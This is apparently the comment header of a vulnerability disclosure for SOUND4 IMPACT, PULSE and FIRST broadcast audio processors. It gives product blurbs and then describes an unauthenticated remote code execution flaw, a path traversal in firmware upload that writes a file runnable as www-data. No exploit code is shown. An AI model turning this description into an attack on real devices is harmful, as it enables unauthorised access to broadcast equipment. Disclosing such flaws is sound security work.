# Summary: The SOUND4 IMPACT introduces an innovative process - mono and
# stereo parts of the signal are processed separately to obtain perfect
# consistency in terms of both sound and level. Therefore, in moving
# reception, when the FM receiver switches from stereo to mono and back to
# stereo, the sound variations and changes in level are reduced by over 90%.
# In the SOUND4 IMPACT processing chain, the stereo expander can be used
# substantially without any limitations.
#
# With its advanced functionalities and impressive versatility, SOUND4
# PULSE gives clients the ultimate price - performance ratio, providing
# much more than just a processor. Flexible and powerful, it ensures perfect
# sound quality and full compatibility with radio broadcasting standards
# and can be used simultaneously for FM and HD, DAB, DRM or streaming.
#
# SOUND4 FIRST provides all the most important functionalities you need
# in an FM/HD processor and sets the bar high both in terms of performance
# and affordability. Designed to deliver a sound of uncompromising quality,
# this tool gives you 2-band processing, a digital stereo generator and an
# IMPACT Clipper.
#
# Desc: SOUND4 products suffer from an unauthenticated remote code execution
# vulnerability. An attacker can exploit this vulnerability by abusing the
# firmware upgrade/upload functionality, which contains a path traversal flaw.
# This allows the attacker to arbitrarily write a malicious file to a location
# on the system with www-data permissions, which can be executed to gain unauthorized
# access.
